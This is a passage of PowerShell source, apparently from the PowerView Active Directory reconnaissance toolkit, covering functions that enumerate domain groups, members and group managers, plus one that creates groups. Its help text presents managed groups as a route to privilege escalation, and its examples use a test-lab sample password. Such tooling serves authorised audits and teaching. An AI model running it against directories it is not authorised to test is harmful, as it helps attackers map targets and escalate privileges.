10375 } 10376 else { 10377 $IdentityFilter = '' 10378 $Filter = '' 10379 $Identity | Where-Object {$_} | ForEach-Object { 10380 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') 10381 if ($IdentityInstance -match '^S-1-') { 10382 $IdentityFilter += "(objectsid=$IdentityInstance)" 10383 } 10384 elseif ($IdentityInstance -match '^CN=') { 10385 $IdentityFilter += "(distinguishedname=$IdentityInstance)" 10386 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { 10387 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname 10388 # and rebuild the domain searcher 10389 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 10390 Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'" 10391 $SearcherArguments['Domain'] = $IdentityDomain 10392 $GroupSearcher = Get-DomainSearcher @SearcherArguments 10393 if (-not $GroupSearcher) { 10394 Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'" 10395 } 10396 } 10397 } 10398 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { 10399 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' 10400 $IdentityFilter += "(objectguid=$GuidByteString)" 10401 } 10402 elseif ($IdentityInstance.Contains('\')) { 10403 $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical 10404 if ($ConvertedIdentityInstance) { 10405 $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) 10406 $GroupName = $IdentityInstance.Split('\')[1] 10407 $IdentityFilter += "(samAccountName=$GroupName)" 10408 $SearcherArguments['Domain'] = $GroupDomain 10409 Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'" 10410 $GroupSearcher = Get-DomainSearcher @SearcherArguments 10411 } 10412 } 10413 else { 10414 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" 10415 } 10416 } 10417 10418 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { 10419 $Filter += "(|$IdentityFilter)" 10420 } 10421 10422 if ($PSBoundParameters['AdminCount']) { 10423 Write-Verbose '[Get-DomainGroup] Searching for adminCount=1' 10424 $Filter += '(admincount=1)' 10425 } 10426 if ($PSBoundParameters['GroupScope']) { 10427 $GroupScopeValue = $PSBoundParameters['GroupScope'] 10428 $Filter = Switch ($GroupScopeValue) { 10429 'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' } 10430 'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' } 10431 'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' } 10432 'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' } 10433 'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' } 10434 'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' } 10435 } 10436 Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'" 10437 } 10438 if ($PSBoundParameters['GroupProperty']) { 10439 $GroupPropertyValue = $PSBoundParameters['GroupProperty'] 10440 $Filter = Switch ($GroupPropertyValue) { 10441 'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' } 10442 'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' } 10443 'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' } 10444 'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' } 10445 } 10446 Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'" 10447 } 10448 if ($PSBoundParameters['LDAPFilter']) { 10449 Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter" 10450 $Filter += "$LDAPFilter" 10451 } 10452 10453 $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" 10454 Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)" 10455 10456 if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() } 10457 else { $Results = $GroupSearcher.FindAll() } 10458 $Results | Where-Object {$_} | ForEach-Object { 10459 if ($PSBoundParameters['Raw']) { 10460 # return raw result objects 10461 $Group = $_ 10462 } 10463 else { 10464 $Group = Convert-LDAPProperty -Properties $_.Properties 10465 } 10466 $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') 10467 $Group 10468 } 10469 if ($Results) { 10470 try { $Results.dispose() } 10471 catch { 10472 Write-Verbose "[Get-DomainGroup] Error disposing of the Results object" 10473 } 10474 } 10475 $GroupSearcher.dispose() 10476 } 10477 } 10478 } 10479 } 10480 10481 10482 function New-DomainGroup { 10483 <# 10484 .SYNOPSIS 10485 10486 Creates a new domain group (assuming appropriate permissions) and returns the group object. 10487 10488 TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). 10489 10490 Author: Will Schroeder (@harmj0y) 10491 License: BSD 3-Clause 10492 Required Dependencies: Get-PrincipalContext 10493 10494 .DESCRIPTION 10495 10496 First binds to the specified domain context using Get-PrincipalContext. 10497 The bound domain context is then used to create a new 10498 DirectoryServices.AccountManagement.GroupPrincipal with the specified 10499 group properties. 10500 10501 .PARAMETER SamAccountName 10502 10503 Specifies the Security Account Manager (SAM) account name of the group to create. 10504 Maximum of 256 characters. Mandatory. 10505 10506 .PARAMETER Name 10507 10508 Specifies the name of the group to create. If not provided, defaults to SamAccountName. 10509 10510 .PARAMETER DisplayName 10511 10512 Specifies the display name of the group to create. If not provided, defaults to SamAccountName. 10513 10514 .PARAMETER Description 10515 10516 Specifies the description of the group to create. 10517 10518 .PARAMETER Domain 10519 10520 Specifies the domain to use to search for user/group principals, defaults to the current domain. 10521 10522 .PARAMETER Credential 10523 10524 A [Management.Automation.PSCredential] object of alternate credentials 10525 for connection to the target domain. 10526 10527 .EXAMPLE 10528 10529 New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' 10530 10531 Creates the 'TestGroup' group with the specified description. 10532 10533 .EXAMPLE 10534 10535 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 10536 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 10537 New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred 10538 10539 Creates the 'TestGroup' group with the specified description using the specified alternate credentials. 10540 10541 .OUTPUTS 10542 10543 DirectoryServices.AccountManagement.GroupPrincipal 10544 #> 10545 10546 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] 10547 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 10548 [OutputType('DirectoryServices.AccountManagement.GroupPrincipal')] 10549 Param( 10550 [Parameter(Mandatory = $True)] 10551 [ValidateLength(0, 256)] 10552 [String] 10553 $SamAccountName, 10554 10555 [ValidateNotNullOrEmpty()] 10556 [String] 10557 $Name, 10558 10559 [ValidateNotNullOrEmpty()] 10560 [String] 10561 $DisplayName, 10562 10563 [ValidateNotNullOrEmpty()] 10564 [String] 10565 $Description, 10566 10567 [ValidateNotNullOrEmpty()] 10568 [String] 10569 $Domain, 10570 10571 [Management.Automation.PSCredential] 10572 [Management.Automation.CredentialAttribute()] 10573 $Credential = [Management.Automation.PSCredential]::Empty 10574 ) 10575 10576 $ContextArguments = @{ 10577 'Identity' = $SamAccountName 10578 } 10579 if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } 10580 if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } 10581 $Context = Get-PrincipalContext @ContextArguments 10582 10583 if ($Context) { 10584 $Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context) 10585 10586 # set all the appropriate group parameters 10587 $Group.SamAccountName = $Context.Identity 10588 10589 if ($PSBoundParameters['Name']) { 10590 $Group.Name = $Name 10591 } 10592 else { 10593 $Group.Name = $Context.Identity 10594 } 10595 if ($PSBoundParameters['DisplayName']) { 10596 $Group.DisplayName = $DisplayName 10597 } 10598 else { 10599 $Group.DisplayName = $Context.Identity 10600 } 10601 10602 if ($PSBoundParameters['Description']) { 10603 $Group.Description = $Description 10604 } 10605 10606 Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'" 10607 try { 10608 $Null = $Group.Save() 10609 Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created" 10610 $Group 10611 } 10612 catch { 10613 Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_" 10614 } 10615 } 10616 } 10617 10618 10619 function Get-DomainManagedSecurityGroup { 10620 <# 10621 .SYNOPSIS 10622 10623 Returns all security groups in the current (or target) domain that have a manager set. 10624 10625 Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>, Will Schroeder (@harmj0y) 10626 License: BSD 3-Clause 10627 Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl 10628 10629 .DESCRIPTION 10630 10631 Authority to manipulate the group membership of AD security groups and distribution groups 10632 can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically 10633 used to delegate management authority to distribution groups, but Windows supports security groups 10634 being managed in the same way. 10635 10636 This function searches for AD groups which have a group manager set, and determines whether that 10637 user can manipulate group membership. This could be a useful method of horizontal privilege 10638 escalation, especially if the manager can manipulate the membership of a privileged group. 10639 10640 .PARAMETER Domain 10641 10642 Specifies the domain to use for the query, defaults to the current domain. 10643 10644 .PARAMETER SearchBase 10645 10646 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 10647 Useful for OU queries. 10648 10649 .PARAMETER Server 10650 10651 Specifies an Active Directory server (domain controller) to bind to. 10652 10653 .PARAMETER SearchScope 10654 10655 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 10656 10657 .PARAMETER ResultPageSize 10658 10659 Specifies the PageSize to set for the LDAP searcher object. 10660 10661 .PARAMETER ServerTimeLimit 10662 10663 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 10664 10665 .PARAMETER Tombstone 10666 10667 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 10668 10669 .PARAMETER Credential 10670 10671 A [Management.Automation.PSCredential] object of alternate credentials 10672 for connection to the target domain. 10673 10674 .EXAMPLE 10675 10676 Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv 10677 10678 Store a list of all security groups with managers in group-managers.csv 10679 10680 .OUTPUTS 10681 10682 PowerView.ManagedSecurityGroup 10683 10684 A custom PSObject describing the managed security group. 10685 #> 10686 10687 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 10688 [OutputType('PowerView.ManagedSecurityGroup')] 10689 [CmdletBinding()] 10690 Param( 10691 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 10692 [Alias('Name')] 10693 [ValidateNotNullOrEmpty()] 10694 [String] 10695 $Domain, 10696 10697 [ValidateNotNullOrEmpty()] 10698 [Alias('ADSPath')] 10699 [String] 10700 $SearchBase, 10701 10702 [ValidateNotNullOrEmpty()] 10703 [Alias('DomainController')] 10704 [String] 10705 $Server, 10706 10707 [ValidateSet('Base', 'OneLevel', 'Subtree')] 10708 [String] 10709 $SearchScope = 'Subtree', 10710 10711 [ValidateRange(1, 10000)] 10712 [Int] 10713 $ResultPageSize = 200, 10714 10715 [ValidateRange(1, 10000)] 10716 [Int] 10717 $ServerTimeLimit, 10718 10719 [Switch] 10720 $Tombstone, 10721 10722 [Management.Automation.PSCredential] 10723 [Management.Automation.CredentialAttribute()] 10724 $Credential = [Management.Automation.PSCredential]::Empty 10725 ) 10726 10727 BEGIN { 10728 $SearcherArguments = @{ 10729 'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' 10730 'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname' 10731 } 10732 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 10733 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 10734 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 10735 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 10736 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 10737 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } 10738 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 10739 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 10740 } 10741 10742 PROCESS { 10743 if ($PSBoundParameters['Domain']) { 10744 $SearcherArguments['Domain'] = $Domain 10745 $TargetDomain = $Domain 10746 } 10747 else { 10748 $TargetDomain = $Env:USERDNSDOMAIN 10749 } 10750 10751 # go through the list of security groups on the domain and identify those who have a manager 10752 Get-DomainGroup @SearcherArguments | ForEach-Object { 10753 $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid' 10754 $SearcherArguments['Identity'] = $_.managedBy 10755 $Null = $SearcherArguments.Remove('LDAPFilter') 10756 10757 # $SearcherArguments 10758 # retrieve the object that the managedBy DN refers to 10759 $GroupManager = Get-DomainObject @SearcherArguments 10760 # Write-Host "GroupManager: $GroupManager" 10761 $ManagedGroup = New-Object PSObject 10762 $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname 10763 $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname 10764 $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname 10765 $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName 10766 10767 # determine whether the manager is a user or a group 10768 if ($GroupManager.samaccounttype -eq 0x10000000) { 10769 $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group' 10770 } 10771 elseif ($GroupManager.samaccounttype -eq 0x30000000) { 10772 $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User' 10773 } 10774 10775 $ACLArguments = @{ 10776 'Identity' = $_.distinguishedname 10777 'RightsFilter' = 'WriteMembers' 10778 } 10779 if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } 10780 if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } 10781 if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } 10782 if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } 10783 if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } 10784 if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } 10785 10786 # # TODO: correct! 10787 # # find the ACLs that relate to the ability to write to the group 10788 # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose 10789 # # $ACLArguments 10790 # # double-check that the manager 10791 # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) { 10792 # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True 10793 # } 10794 # else { 10795 # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False 10796 # } 10797 10798 $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN' 10799 10800 $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup') 10801 $ManagedGroup 10802 } 10803 } 10804 } 10805 10806 10807 function Get-DomainGroupMember { 10808 <# 10809 .SYNOPSIS 10810 10811 Return the members of a specific domain group. 10812 10813 Author: Will Schroeder (@harmj0y) 10814 License: BSD 3-Clause 10815 Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID 10816 10817 .DESCRIPTION 10818 10819 Builds a directory searcher object using Get-DomainSearcher, builds a custom 10820 LDAP filter based on targeting/filter parameters, and searches for the specified 10821 group matching the criteria. Each result is then rebound and the full user 10822 or group object is returned. 10823 10824 .PARAMETER Identity 10825 10826 A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), 10827 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) 10828 specifying the group to query for. Wildcards accepted. 10829 10830 .PARAMETER Domain 10831 10832 Specifies the domain to use for the query, defaults to the current domain. 10833 10834 .PARAMETER Recurse 10835 10836 Switch. If the group member is a group, recursively try to query its members as well. 10837 10838 .PARAMETER RecurseUsingMatchingRule 10839 10840 Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse. 10841 Much faster than manual recursion, but doesn't reveal cross-domain groups, 10842 and only returns user accounts (no nested group objects themselves). 10843 10844 .PARAMETER LDAPFilter 10845 10846 Specifies an LDAP query string that is used to filter Active Directory objects. 10847 10848 .PARAMETER SearchBase 10849 10850 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 10851 Useful for OU queries. 10852 10853 .PARAMETER Server 10854 10855 Specifies an Active Directory server (domain controller) to bind to. 10856 10857 .PARAMETER SearchScope 10858 10859 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 10860 10861 .PARAMETER ResultPageSize 10862 10863 Specifies the PageSize to set for the LDAP searcher object. 10864 10865 .PARAMETER ServerTimeLimit 10866 10867 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 10868 10869 .PARAMETER SecurityMasks 10870 10871 Specifies an option for examining security information of a directory object. 10872 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. 10873 10874 .PARAMETER Tombstone 10875 10876 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 10877 10878 .PARAMETER Credential 10879 10880 A [Management.Automation.PSCredential] object of alternate credentials 10881 for connection to the target domain. 10882 10883 .EXAMPLE 10884 10885 Get-DomainGroupMember "Desktop Admins" 10886 10887 GroupDomain : testlab.local 10888 GroupName : Desktop Admins 10889 GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local 10890 MemberDomain : testlab.local 10891 MemberName : Testing Group 10892 MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local 10893 MemberObjectClass : group 10894 MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 10895 10896 GroupDomain : testlab.local 10897 GroupName : Desktop Admins 10898 GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local 10899 MemberDomain : testlab.local 10900 MemberName : arobbins.a 10901 MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local 10902 MemberObjectClass : user 10903 MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 10904 10905 .EXAMPLE 10906 10907 'Desktop Admins' | Get-DomainGroupMember -Recurse 10908 10909 GroupDomain : testlab.local 10910 GroupName : Desktop Admins 10911 GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local 10912 MemberDomain : testlab.local 10913 MemberName : Testing Group 10914 MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local 10915 MemberObjectClass : group 10916 MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 10917 10918 GroupDomain : testlab.local 10919 GroupName : Testing Group 10920 GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local 10921 MemberDomain : testlab.local 10922 MemberName : harmj0y 10923 MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local 10924 MemberObjectClass : user 10925 MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 10926 10927 GroupDomain : testlab.local 10928 GroupName : Desktop Admins 10929 GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local 10930 MemberDomain : testlab.local 10931 MemberName : arobbins.a 10932 MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local 10933 MemberObjectClass : user 10934 MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 10935 10936 .EXAMPLE 10937 10938 Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule 10939 10940 GroupDomain : testlab.local 10941 GroupName : Desktop Admins 10942 GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local 10943 MemberDomain : testlab.local 10944 MemberName : harmj0y 10945 MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local 10946 MemberObjectClass : user 10947 MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 10948 10949 GroupDomain : testlab.local 10950 GroupName : Desktop Admins 10951 GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local 10952 MemberDomain : testlab.local 10953 MemberName : arobbins.a 10954 MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local 10955 MemberObjectClass : user 10956 MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 10957 10958 .EXAMPLE 10959 10960 Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember 10961 10962 .EXAMPLE 10963 10964 'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember 10965 10966 .EXAMPLE 10967 10968 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 10969 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 10970 Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins' 10971 10972 .EXAMPLE 10973 10974 Get-Domain | Select-Object -Expand name 10975 testlab.local 10976 10977 'dev\domain admins' | Get-DomainGroupMember -Verbose 10978 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 10979 VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins' 10980 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local 10981 VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins))) 10982 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local 10983 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local))) 10984 10985 GroupDomain : dev.testlab.local 10986 GroupName : Domain Admins 10987 GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local 10988 MemberDomain : dev.testlab.local 10989 MemberName : user1 10990 MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local 10991 MemberObjectClass : user 10992 MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108 10993 10994 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local 10995 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local))) 10996 GroupDomain : dev.testlab.local 10997 GroupName : Domain Admins 10998 GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local 10999 MemberDomain : dev.testlab.local 11000 MemberName : Administrator 11001 MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local 11002 MemberObjectClass : user 11003 MemberSID : S-1-5-21-339048670-1233568108-4141518690-500 11004 11005 .OUTPUTS 11006 11007 PowerView.GroupMember 11008 11009 Custom PSObject with translated group member property fields. 11010 11011 .LINK 11012 11013 http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ 11014 #> 11015 11016 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 11017 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] 11018 [OutputType('PowerView.GroupMember')] 11019 [CmdletBinding(DefaultParameterSetName = 'None')] 11020 Param( 11021 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 11022 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] 11023 [String[]] 11024 $Identity, 11025 11026 [ValidateNotNullOrEmpty()] 11027 [String] 11028 $Domain, 11029 11030 [Parameter(ParameterSetName = 'ManualRecurse')] 11031 [Switch] 11032 $Recurse, 11033 11034 [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')] 11035 [Switch] 11036 $RecurseUsingMatchingRule, 11037 11038 [ValidateNotNullOrEmpty()] 11039 [Alias('Filter')] 11040 [String] 11041 $LDAPFilter, 11042 11043 [ValidateNotNullOrEmpty()] 11044 [Alias('ADSPath')] 11045 [String] 11046 $SearchBase, 11047 11048 [ValidateNotNullOrEmpty()] 11049 [Alias('DomainController')] 11050 [String] 11051 $Server, 11052 11053 [ValidateSet('Base', 'OneLevel', 'Subtree')] 11054 [String] 11055 $SearchScope = 'Subtree', 11056 11057 [ValidateRange(1, 10000)] 11058 [Int] 11059 $ResultPageSize = 200, 11060 11061 [ValidateRange(1, 10000)] 11062 [Int] 11063 $ServerTimeLimit, 11064 11065 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 11066 [String] 11067 $SecurityMasks, 11068 11069 [Switch] 11070 $Tombstone, 11071 11072 [Management.Automation.PSCredential] 11073 [Management.Automation.CredentialAttribute()] 11074 $Credential = [Management.Automation.PSCredential]::Empty 11075 ) 11076 11077 BEGIN { 11078 $SearcherArguments = @{ 11079 'Properties' = 'member,samaccountname,distinguishedname' 11080 } 11081 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 11082 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } 11083 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 11084 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 11085 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 11086 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 11087 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 11088 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 11089 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 11090 11091 $ADNameArguments = @{} 11092 if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } 11093 if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } 11094 if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } 11095 } 11096 11097 PROCESS { 11098 $GroupSearcher = Get-DomainSearcher @SearcherArguments 11099 if ($GroupSearcher) { 11100 if ($PSBoundParameters['RecurseUsingMatchingRule']) { 11101 $SearcherArguments['Identity'] = $Identity 11102 $SearcherArguments['Raw'] = $True 11103 $Group = Get-DomainGroup @SearcherArguments 11104 11105 if (-not $Group) { 11106 Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity" 11107 } 11108 else { 11109 $GroupFoundName = $Group.properties.item('samaccountname')[0] 11110 $GroupFoundDN = $Group.properties.item('distinguishedname')[0] 11111 11112 if ($PSBoundParameters['Domain']) { 11113 $GroupFoundDomain = $Domain 11114 } 11115 else { 11116 # if a domain isn't passed, try to extract it from the found group distinguished name 11117 if ($GroupFoundDN) { 11118 $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 11119 } 11120 } 11121 Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned." 11122 $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))" 11123 $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName')) 11124 $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]} 11125 } 11126 $Null = $SearcherArguments.Remove('Raw') 11127 } 11128 else { 11129 $IdentityFilter = '' 11130 $Filter = '' 11131 $Identity | Where-Object {$_} | ForEach-Object { 11132 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') 11133 if ($IdentityInstance -match '^S-1-') { 11134 $IdentityFilter += "(objectsid=$IdentityInstance)" 11135 } 11136 elseif ($IdentityInstance -match '^CN=') { 11137 $IdentityFilter += "(distinguishedname=$IdentityInstance)" 11138 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { 11139 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname 11140 # and rebuild the domain searcher 11141 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 11142 Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'" 11143 $SearcherArguments['Domain'] = $IdentityDomain 11144 $GroupSearcher = 